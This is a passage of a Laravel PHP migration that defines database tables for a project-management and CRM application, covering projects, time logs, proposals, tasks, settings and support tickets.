$table->unsignedInteger('last_updated_by')->nullable()->index('project_members_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('project_notes', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('project_id')->nullable()->index('project_notes_project_id_foreign'); $table->string('title'); $table->boolean('type')->default(false); $table->unsignedInteger('client_id')->nullable()->index('project_notes_client_id_foreign'); $table->boolean('is_client_show')->default(false); $table->boolean('ask_password')->default(false); $table->longText('details'); $table->unsignedInteger('added_by')->nullable()->index('project_notes_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('project_notes_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['client_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('project_ratings', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedInteger('project_id')->index('project_ratings_project_id_foreign'); $table->double('rating')->default(0); $table->text('comment')->nullable(); $table->unsignedInteger('user_id')->index('project_ratings_user_id_foreign'); $table->unsignedInteger('added_by')->nullable()->index('project_ratings_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('project_ratings_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('project_settings', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->enum('send_reminder', ['yes', 'no']); $table->integer('remind_time'); $table->string('remind_type'); $table->string('remind_to')->default('["admins","members"]'); $table->timestamps(); }); Schema::create('project_templates', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('project_name'); $table->unsignedInteger('category_id')->nullable()->index('project_templates_category_id_foreign'); $table->unsignedInteger('client_id')->nullable()->index('project_templates_client_id_foreign'); $table->foreign(['category_id'])->references(['id'])->on('project_category')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['client_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->mediumText('project_summary')->nullable(); $table->longText('notes')->nullable(); $table->mediumText('feedback')->nullable(); $table->enum('client_view_task', ['enable', 'disable'])->default('disable'); $table->enum('allow_client_notification', ['enable', 'disable'])->default('disable'); $table->enum('manual_timelog', ['enable', 'disable'])->default('disable'); $table->timestamps(); }); Schema::create('project_template_members', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('user_id')->index('project_template_members_user_id_foreign'); $table->unsignedInteger('project_template_id')->index('project_template_members_project_template_id_foreign'); $table->foreign(['project_template_id'])->references(['id'])->on('project_templates')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('project_template_tasks', function (Blueprint $table) { $table->increments('id'); $table->string('heading'); $table->mediumText('description')->nullable(); $table->unsignedInteger('project_template_id')->index('project_template_tasks_project_template_id_foreign'); $table->enum('priority', ['low', 'medium', 'high'])->default('medium'); $table->unsignedInteger('project_template_task_category_id')->nullable()->index('project_template_tasks_project_template_task_category_id_foreign'); $table->foreign(['project_template_id'])->references(['id'])->on('project_templates')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['project_template_task_category_id'])->references(['id'])->on('task_category')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->timestamps(); }); Schema::create('project_template_sub_tasks', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedInteger('project_template_task_id')->index('project_template_sub_tasks_project_template_task_id_foreign'); $table->foreign(['project_template_task_id'])->references(['id'])->on('project_template_tasks')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->text('title'); $table->dateTime('start_date')->nullable(); $table->dateTime('due_date')->nullable(); $table->enum('status', ['incomplete', 'complete'])->default('incomplete'); $table->timestamps(); }); Schema::create('project_template_task_users', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedInteger('project_template_task_id')->index('project_template_task_users_project_template_task_id_foreign'); $table->unsignedInteger('user_id')->index('project_template_task_users_user_id_foreign'); $table->foreign(['project_template_task_id'])->references(['id'])->on('project_template_tasks')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('project_time_logs', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('project_id')->nullable()->index('project_time_logs_project_id_foreign'); $table->unsignedInteger('task_id')->nullable()->index('project_time_logs_task_id_foreign'); $table->unsignedInteger('user_id')->index('project_time_logs_user_id_foreign'); $table->dateTime('start_time')->index(); $table->dateTime('end_time')->nullable()->index(); $table->text('memo'); $table->string('total_hours')->nullable(); $table->string('total_minutes')->nullable(); $table->unsignedInteger('edited_by_user')->nullable()->index('project_time_logs_edited_by_user_foreign'); $table->integer('hourly_rate'); $table->integer('earnings'); $table->boolean('approved')->default(true); $table->unsignedInteger('approved_by')->nullable()->index('project_time_logs_approved_by_foreign'); $table->unsignedInteger('invoice_id')->nullable()->index('project_time_logs_invoice_id_foreign'); $table->unsignedInteger('added_by')->nullable()->index('project_time_logs_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('project_time_logs_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['approved_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['edited_by_user'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['invoice_id'])->references(['id'])->on('invoices')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['task_id'])->references(['id'])->on('tasks')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('total_break_minutes')->nullable(); $table->timestamps(); }); Schema::create('project_time_log_breaks', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('project_time_log_id')->nullable()->index('project_time_log_breaks_project_time_log_id_foreign'); $table->dateTime('start_time')->index(); $table->dateTime('end_time')->nullable()->index(); $table->text('reason'); $table->string('total_hours')->nullable(); $table->string('total_minutes')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('project_time_log_breaks_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('project_time_log_breaks_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['project_time_log_id'])->references(['id'])->on('project_time_logs')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('project_user_notes', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('user_id')->index('project_user_notes_user_id_foreign'); $table->unsignedInteger('project_note_id')->index('project_user_notes_project_note_id_foreign'); $table->foreign(['project_note_id'])->references(['id'])->on('project_notes')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('proposals', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('lead_id')->index('proposals_lead_id_foreign'); $table->date('valid_till'); $table->double('sub_total', 16, 2); $table->double('total', 16, 2); $table->unsignedInteger('currency_id')->nullable()->index('proposals_currency_id_foreign'); $table->enum('discount_type', ['percent', 'fixed']); $table->double('discount'); $table->boolean('invoice_convert')->default(false); $table->enum('status', ['declined', 'accepted', 'waiting'])->default('waiting'); $table->mediumText('note')->nullable(); $table->longText('description')->nullable(); $table->text('client_comment')->nullable(); $table->boolean('signature_approval')->default(true); $table->unsignedInteger('added_by')->nullable()->index('proposals_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('proposals_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['currency_id'])->references(['id'])->on('currencies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['lead_id'])->references(['id'])->on('leads')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->text('hash')->nullable(); $table->enum('calculate_tax', ['after_discount', 'before_discount'])->default('after_discount'); $table->timestamps(); }); Schema::create('proposal_items', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('proposal_id')->index('proposal_items_proposal_id_foreign'); $table->foreign(['proposal_id'])->references(['id'])->on('proposals')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('item_name'); $table->enum('type', ['item', 'discount', 'tax'])->default('item'); $table->double('quantity', 16, 2); $table->double('unit_price', 16, 2); $table->double('amount', 16, 2); $table->text('item_summary')->nullable(); $table->string('taxes')->nullable(); $table->string('hsn_sac_code')->nullable(); $table->timestamps(); }); Schema::create('proposal_item_images', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('proposal_item_id')->index('proposal_item_images_proposal_item_id_foreign'); $table->foreign(['proposal_item_id'])->references(['id'])->on('proposal_items')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('filename'); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->string('external_link')->nullable(); $table->timestamps(); }); Schema::create('proposal_signs', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedInteger('proposal_id')->index('proposal_signs_proposal_id_foreign'); $table->foreign(['proposal_id'])->references(['id'])->on('proposals')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('full_name'); $table->string('email'); $table->string('signature')->nullable(); $table->timestamps(); }); Schema::create('purpose_consent', function (Blueprint $table) { $table->increments('id'); $table->string('name'); $table->text('description')->nullable(); $table->timestamps(); }); Schema::create('purpose_consent_leads', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('lead_id')->index('purpose_consent_leads_lead_id_foreign'); $table->unsignedInteger('purpose_consent_id')->index('purpose_consent_leads_purpose_consent_id_foreign'); $table->enum('status', ['agree', 'disagree'])->default('agree'); $table->string('ip')->nullable(); $table->unsignedInteger('updated_by_id')->nullable()->index('purpose_consent_leads_updated_by_id_foreign'); $table->foreign(['lead_id'])->references(['id'])->on('leads')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['purpose_consent_id'])->references(['id'])->on('purpose_consent')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['updated_by_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->text('additional_description')->nullable(); $table->timestamps(); }); Schema::create('purpose_consent_users', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('client_id')->index('purpose_consent_users_client_id_foreign'); $table->unsignedInteger('purpose_consent_id')->index('purpose_consent_users_purpose_consent_id_foreign'); $table->enum('status', ['agree', 'disagree'])->default('agree'); $table->string('ip')->nullable(); $table->unsignedInteger('updated_by_id')->index('purpose_consent_users_updated_by_id_foreign'); $table->foreign(['client_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['purpose_consent_id'])->references(['id'])->on('purpose_consent')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['updated_by_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->text('additional_description')->nullable(); $table->timestamps(); }); Schema::create('push_notification_settings', function (Blueprint $table) { $table->increments('id'); $table->text('onesignal_app_id')->nullable(); $table->text('onesignal_rest_api_key')->nullable(); $table->string('notification_logo')->nullable(); $table->enum('status', ['active', 'inactive'])->default('inactive'); $table->timestamps(); }); Schema::create('push_subscriptions', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index(); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('NO ACTION')->onDelete('CASCADE'); $table->string('endpoint')->unique(); $table->string('public_key')->nullable(); $table->string('auth_token')->nullable(); $table->timestamps(); }); Schema::create('pusher_settings', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('pusher_app_id')->nullable(); $table->string('pusher_app_key')->nullable(); $table->string('pusher_app_secret')->nullable(); $table->string('pusher_cluster')->nullable(); $table->boolean('force_tls'); $table->boolean('status'); $table->boolean('taskboard')->default(true); $table->boolean('messages')->default(false); $table->timestamps(); }); Schema::create('quotations', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('business_name'); $table->string('client_name'); $table->string('client_email'); $table->string('phone')->nullable(); $table->text('address')->nullable(); $table->double('sub_total', 8, 2); $table->double('total', 8, 2); $table->timestamps(); }); Schema::create('quotation_items', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('quotation_id')->index('quotation_items_quotation_id_foreign'); $table->foreign(['quotation_id'])->references(['id'])->on('quotations')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('item_name'); $table->integer('quantity'); $table->integer('unit_price'); $table->double('amount', 8, 2); $table->string('hsn_sac_code')->nullable(); $table->timestamps(); }); Schema::create('removal_requests', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('name'); $table->string('description'); $table->unsignedInteger('user_id')->nullable()->index('removal_requests_user_id_foreign'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->enum('status', ['pending', 'approved', 'rejected'])->default('pending'); $table->timestamps(); }); Schema::create('removal_requests_lead', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('name'); $table->string('description'); $table->unsignedInteger('lead_id')->nullable()->index('removal_requests_lead_lead_id_foreign'); $table->foreign(['lead_id'])->references(['id'])->on('leads')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->enum('status', ['pending', 'approved', 'rejected'])->default('pending'); $table->timestamps(); }); Schema::create('role_user', function (Blueprint $table) { $table->unsignedInteger('user_id'); $table->unsignedInteger('role_id')->index('role_user_role_id_foreign'); $table->foreign(['role_id'])->references(['id'])->on('roles')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->primary(['user_id', 'role_id']); }); Schema::create('sessions', function (Blueprint $table) { $table->string('id')->primary(); $table->unsignedBigInteger('user_id')->nullable()->index(); $table->string('ip_address', 45)->nullable(); $table->text('user_agent')->nullable(); $table->mediumText('payload'); $table->integer('last_activity')->index(); }); Schema::create('slack_settings', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->text('slack_webhook')->nullable(); $table->string('slack_logo')->nullable(); $table->enum('status', ['active', 'inactive'])->default('inactive'); $table->timestamps(); }); Schema::create('smtp_settings', function (Blueprint $table) { $table->increments('id'); $table->string('mail_driver')->default('smtp'); $table->string('mail_host')->default('smtp.gmail.com'); $table->string('mail_port')->default('587'); $table->string('mail_username')->default('youremail@gmail.com'); $table->string('mail_password')->default('your password'); $table->string('mail_from_name')->default('your name'); $table->string('mail_from_email')->default('from@email.com'); $table->enum('mail_encryption', ['tls', 'ssl','starttls'])->nullable()->default('tls'); $table->boolean('verified')->default(false); $table->enum('mail_connection', ['sync', 'database'])->default('sync'); $table->timestamps(); }); Schema::create('social_auth_settings', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('facebook_client_id')->nullable(); $table->string('facebook_secret_id')->nullable(); $table->enum('facebook_status', ['enable', 'disable'])->default('disable'); $table->string('google_client_id')->nullable(); $table->string('google_secret_id')->nullable(); $table->enum('google_status', ['enable', 'disable'])->default('disable'); $table->string('twitter_client_id')->nullable(); $table->string('twitter_secret_id')->nullable(); $table->enum('twitter_status', ['enable', 'disable'])->default('disable'); $table->string('linkedin_client_id')->nullable(); $table->string('linkedin_secret_id')->nullable(); $table->enum('linkedin_status', ['enable', 'disable'])->default('disable'); $table->timestamps(); }); Schema::create('socials', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedInteger('user_id')->nullable(); $table->text('social_id'); $table->text('social_service'); $table->timestamps(); }); Schema::create('sticky_notes', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('sticky_notes_user_id_foreign'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->mediumText('note_text'); $table->enum('colour', ['blue', 'yellow', 'red', 'gray', 'purple', 'green'])->default('blue'); $table->timestamps(); }); Schema::create('sub_tasks', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('task_id')->index('sub_tasks_task_id_foreign'); $table->text('title'); $table->dateTime('due_date')->nullable(); $table->date('start_date')->nullable(); $table->enum('status', ['incomplete', 'complete'])->default('incomplete'); $table->unsignedInteger('assigned_to')->nullable()->index('sub_tasks_assigned_to_foreign'); $table->unsignedInteger('added_by')->nullable()->index('sub_tasks_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('sub_tasks_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['assigned_to'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['task_id'])->references(['id'])->on('tasks')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->text('description')->nullable(); $table->timestamps(); }); Schema::create('sub_task_files', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('user_id')->nullable()->index('sub_task_files_user_id_foreign'); $table->unsignedInteger('sub_task_id')->index('sub_task_files_sub_task_id_foreign'); $table->foreign(['sub_task_id'])->references(['id'])->on('sub_tasks')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('filename'); $table->text('description')->nullable(); $table->string('google_url')->nullable(); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->string('dropbox_link')->nullable(); $table->string('external_link')->nullable(); $table->string('external_link_name')->nullable(); $table->timestamps(); }); Schema::create('task_comments', function (Blueprint $table) { $table->increments('id'); $table->text('comment'); $table->unsignedInteger('user_id')->index('task_comments_user_id_foreign'); $table->unsignedInteger('task_id')->index('task_comments_task_id_foreign'); $table->unsignedInteger('added_by')->nullable()->index('task_comments_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('task_comments_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['task_id'])->references(['id'])->on('tasks')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('task_files', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('user_id')->index('task_files_user_id_foreign'); $table->unsignedInteger('task_id')->index('task_files_task_id_foreign'); $table->string('filename'); $table->text('description')->nullable(); $table->string('google_url')->nullable(); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->string('dropbox_link')->nullable(); $table->string('external_link')->nullable(); $table->string('external_link_name')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('task_files_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('task_files_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['task_id'])->references(['id'])->on('tasks')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('task_history', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedInteger('task_id')->index('task_history_task_id_foreign'); $table->unsignedInteger('sub_task_id')->nullable()->index('task_history_sub_task_id_foreign'); $table->unsignedInteger('user_id')->index('task_history_user_id_foreign'); $table->text('details'); $table->unsignedInteger('board_column_id')->nullable()->index('task_history_board_column_id_foreign'); $table->foreign(['board_column_id'])->references(['id'])->on('taskboard_columns')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['sub_task_id'])->references(['id'])->on('sub_tasks')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['task_id'])->references(['id'])->on('tasks')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('task_label_list', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('project_id')->nullable()->index('task_label_list_project_id_foreign'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('label_name'); $table->string('color')->nullable(); $table->string('description')->nullable(); $table->timestamps(); }); Schema::create('task_labels', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('label_id')->index('task_labels_label_id_foreign'); $table->unsignedInteger('task_id')->index('task_tags_task_id_foreign'); $table->foreign(['label_id'])->references(['id'])->on('task_label_list')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['task_id'], 'task_tags_task_id_foreign')->references(['id'])->on('tasks')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('task_notes', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('task_id')->index('task_notes_task_id_foreign'); $table->integer('user_id')->nullable(); $table->text('note')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('task_notes_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('task_notes_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['task_id'])->references(['id'])->on('tasks')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('task_users', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedInteger('task_id')->index('task_users_task_id_foreign'); $table->unsignedInteger('user_id')->index('task_users_user_id_foreign'); $table->foreign(['task_id'])->references(['id'])->on('tasks')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('taxes', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('tax_name'); $table->string('rate_percent'); $table->timestamps(); $table->softDeletes(); }); Schema::create('theme_settings', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('panel'); $table->string('header_color'); $table->string('sidebar_color'); $table->string('sidebar_text_color'); $table->string('link_color')->default('#ffffff'); $table->longText('user_css')->nullable(); $table->enum('sidebar_theme', ['dark', 'light'])->default('dark'); $table->timestamps(); }); Schema::create('ticket_groups', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('group_name'); $table->timestamps(); }); Schema::create('ticket_agent_groups', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('agent_id')->index('ticket_agent_groups_agent_id_foreign'); $table->unsignedInteger('group_id')->nullable()->index('ticket_agent_groups_group_id_foreign'); $table->enum('status', ['enabled', 'disabled'])->default('enabled'); $table->unsignedInteger('added_by')->nullable()->index('ticket_agent_groups_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('ticket_agent_groups_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['agent_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['group_id'])->references(['id'])->on('ticket_groups')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->timestamps(); }); Schema::create('ticket_channels', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('channel_name')->unique(); $table->timestamps(); }); Schema::create('ticket_custom_forms', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('custom_fields_id')->nullable()->index('ticket_custom_forms_custom_fields_id_foreign'); $table->foreign(['custom_fields_id'])->references(['id'])->on('custom_fields')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('field_display_name'); $table->string('field_name'); $table->string('field_type')->default('text'); $table->integer('field_order'); $table->enum('status', ['active', 'inactive'])->default('active'); $table->boolean('required')->default(false); $table->timestamps(); }); Schema::create('ticket_email_settings', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('mail_username')->nullable(); $table->string('mail_password')->nullable(); $table->string('mail_from_name')->nullable(); $table->string('mail_from_email')->nullable(); $table->string('imap_host')->nullable(); $table->string('imap_port')->nullable(); $table->string('imap_encryption')->nullable(); $table->boolean('status'); $table->boolean('verified'); $table->integer('sync_interval')->default(1); $table->timestamps(); }); Schema::create('ticket_types', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('type')->unique(); $table->timestamps(); }); Schema::create('tickets', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('tickets_user_id_foreign'); $table->text('subject'); $table->enum('status', ['open', 'pending', 'resolved', 'closed'])->default('open'); $table->enum('priority', ['low', 'medium', 'high', 'urgent'])->default('medium'); $table->unsignedInteger('agent_id')->nullable()->index('tickets_agent_id_foreign'); $table->unsignedInteger('channel_id')->nullable()->index('tickets_channel_id_foreign'); $table->unsignedInteger('type_id')->nullable()->index('tickets_type_id_foreign'); $table->date('close_date')->nullable(); $table->softDeletes(); $table->string('mobile')->nullable(); $table->unsignedInteger('country_id')->nullable()->index('tickets_country_id_foreign'); 